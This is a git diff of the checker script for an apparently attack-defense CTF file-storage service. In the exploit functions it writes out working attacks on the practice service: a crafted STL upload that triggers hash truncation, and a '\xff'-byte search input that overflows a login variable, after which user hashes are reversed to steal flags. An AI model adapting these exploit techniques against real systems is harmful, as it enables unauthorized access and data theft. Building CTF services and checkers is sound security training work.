diff options
Diffstat (limited to 'checker')
| -rw-r--r-- | checker/src/checker.py | 92 |
1 files changed, 59 insertions, 33 deletions
diff --git a/checker/src/checker.py b/checker/src/checker.py index eb3c521..3f12417 100644 --- a/checker/src/checker.py +++ b/checker/src/checker.py @@ -24,6 +24,7 @@ from enochecker3 import ( ChainDB, DependencyInjector, Enochecker, + ExploitCheckerTaskMessage, GetflagCheckerTaskMessage, GetnoiseCheckerTaskMessage, InternalErrorException, @@ -44,8 +45,9 @@ for path in os.listdir(f"{script_path}/models"): wordlist = [w for w in open(f"{script_path}/wordlist.txt").read().split() if w != ""] prompt = b"\r$ " -search_truncation_payload = b""" -solid test\xff +exploit_0_file_prefix = b""" +solid test\xff""" +exploit_0_file_suffix = b""" facet normal 0 0 1.0 outer loop vertex 1 0 0 @@ -366,8 +368,8 @@ async def getdb(db: ChainDB, key: str) -> tuple[Any, ...]: async def do_auth( - session: Session, authstr: bytes, check: bool = True -) -> Optional[bool]: + session: Session, authstr: bytes, check: bool = True, newuser: bool = True +) -> Optional[bytes]: session.logger.debug(f"Logging in with {authstr!r}") session.write(b"auth\n") session.write(authstr + b"\n") @@ -383,11 +385,24 @@ async def do_auth( # Also check success message resp += await session.readuntil(prompt, ctx="reading auth response (2)") - if b"Success!" not in resp: - session.logger.critical(f"Login with pass {authstr!r} failed") + try: + userid = resp.split(b"Logged in with ID ")[1].split(b"!")[0] + except: + session.logger.critical(f"Login with pass {authstr!r} failed:\n{resp!r}") raise MumbleException("Authentication not working properly") - return b"Welcome back" in resp + # Check wether new user + is_newuser = b"Welcome back" not in resp + if is_newuser != newuser: + if check: + if newuser: + session.logger.critical("Unexpectedly, user dir exists already!") + else: + session.logger.critical("Unexpectedly, user dir doesnt exist!") + raise MumbleException("Authentication not working properly") + return None + + return userid async def do_list(session: Session, check: bool = True) -> Optional[bytes]: @@ -692,7 +707,7 @@ async def test_good_upload( # Create new session, register and upload file session = await di.get(Session) if register: - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=True) modelid = await do_upload(session, modelname, stlfile, check=True) assert modelid is not None check_hash(modelid) @@ -715,7 +730,7 @@ async def test_good_upload( await check_not_in_search( session, modelname, expected, download=True, fail=True ) - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=False) info, stlfile = await check_in_search( session, modelname, expected, download=True ) @@ -760,7 +775,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None: # Ensure searching for a file that doesnt exist causes an error session = await di.get(Session) if registered: - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=True) resp = await do_search(session, modelname, download=False, check=False) if resp is not None: session.logger.critical( @@ -773,9 +788,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None: @checker.putflag(0) -async def putflag_guest( - task: PutflagCheckerTaskMessage, di: DependencyInjector -) -> None: +async def putflag_guest(task: PutflagCheckerTaskMessage, di: DependencyInjector) -> str: modelname = fakeid() db = await di.get(ChainDB) @@ -786,23 +799,26 @@ async def putflag_guest( assert modelid is not None await db.set("info", (modelname, modelid)) + return "Model {}.. is kinda sus".format(modelid[:10].decode()) @checker.putflag(1) async def putflag_private( task: PutflagCheckerTaskMessage, di: DependencyInjector -) -> None: +) -> str: modelname, authstr = fakeids(2) stlfile = genfile(task.flag.encode(), "bin") db = await di.get(ChainDB) # Generate a file with flag in solidname and upload it (registered, bin) session = await di.get(Session) - await do_auth(session, authstr, check=True) + userid = await do_auth(session, authstr, check=True, newuser=True) + assert userid is not None modelid = await do_upload(session, modelname, stlfile, check=True) assert modelid is not None await db.set("info", (modelname, modelid, authstr)) + return "User {}.. is kinda sus".format(userid[:10].decode()) @checker.getflag(0) @@ -829,7 +845,7 @@ async def getflag_private( # Retrieve private flag file info via search / list and ensure flag's included session = await di.get(Session) - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=False) search_resp = await do_search(session, modelname, download=True, check=True) assert search_resp is not None assert_in(task.flag.encode(), search_resp[0], "Flag is missing from stl info") @@ -864,7 +880,7 @@ async def putnoise_priv( # Generate a random file and upload it (registered, bin / ascii) session = await di.get(Session) stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin") - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=True) modelid = await do_upload(session, modelname, stlfile, check=True) await db.set("info", (modelid, modelname, solidname, stlfile, authstr)) @@ -896,7 +912,7 @@ async def getnoise_priv( # Retrieve noise file by name via search and search (registered) session = await di.get(Session) - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=False) await check_in_search( session, modelname, @@ -1005,29 +1021,33 @@ async def havoc_fluff_upload(di: DependencyInjector) -> None: @checker.exploit(0) -async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: +async def exploit_prefix_truncation( + task: ExploitCheckerTaskMessage, di: DependencyInjector +) -> bytes: modelname = fakeid() searcher = await di.get(FlagSearcher) session = await di.get(Session) session.logger.debug("Uploading evil file for hash truncation") + assert task.attack_info is not None + target_prefix = task.attack_info.split()[1][:-2].encode() + # Upload evil file - await do_upload(session, modelname, stlfile=search_truncation_payload, check=True) - search_resp = await do_search(session, modelname, download=False, check=True) - print(search_resp) + evil_file = exploit_0_file_prefix + target_prefix + exploit_0_file_suffix + await do_upload(session, modelname, stlfile=evil_file, check=True) + await do_search(session, modelname, download=False, check=True) # Retrieve evil file for hash truncation session.write(b"search last\n") await session.drain() - filelist_resp = await session.readuntil( - b"[q to quit]: ", ctx="reading search results" - ) - session.logger.critical(filelist_resp) - filelist = [l.strip() for l in filelist_resp.split(b"\n")[:-1] if l.strip() != b""] + resp = await session.readline() + if b"ERR:" in resp: + raise MumbleException("Searching for cached entry fails!") + resp += await session.readuntil(b"[q to quit]: ", ctx="reading search results") + filelist = [l.strip() for l in resp.split(b"\n")[:-1] if l.strip() != b""] if len(filelist) == 0: raise MumbleException("Failed to list files through search") - session.logger.critical(filelist) # Use it to enumerate other files and grab contents flag = None @@ -1043,9 +1063,7 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: resp += await session.readuntil( b"==================", ctx="getting file info (1)" ) - resp += await session.readuntil( - b"[q to quit]: ", ctx="getting file info (2)" - ) + resp += await session.readuntil(b"[q to quit]: ", ctx="getting file info (2)") session.logger.critical(resp) if flag := searcher.search_flag(resp): break @@ -1062,9 +1080,14 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: @checker.exploit(1) -async def exploit_hash_overflow(di: DependencyInjector) -> None: +async def exploit_hash_overflow( + task: ExploitCheckerTaskMessage, di: DependencyInjector +) -> None: searcher = await di.get(FlagSearcher) + assert task.attack_info is not None + target_prefix = task.attack_info.split()[1][:-2].encode() + # Overflow loggedin variable session = await di.get(Session) session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") @@ -1084,13 +1107,16 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None: # Login as each private user for userhash in users: + if not userhash.startswith(target_prefix): + continue + # Find preimage of user hash session.logger.debug(f"Logging in as user with id {userhash!r}") authstr = reverse_hash(userhash.decode()) # Authenticate and check if the user is new session = await di.get(Session) - if not await do_auth(session, authstr, check=True): + if not await do_auth(session, authstr, check=False, newuser=False): await session.exit() # We dont raise an exception, because it could be that user dir was cleaned # up just before we logged in, not necessarily because of an invalid prehash. |
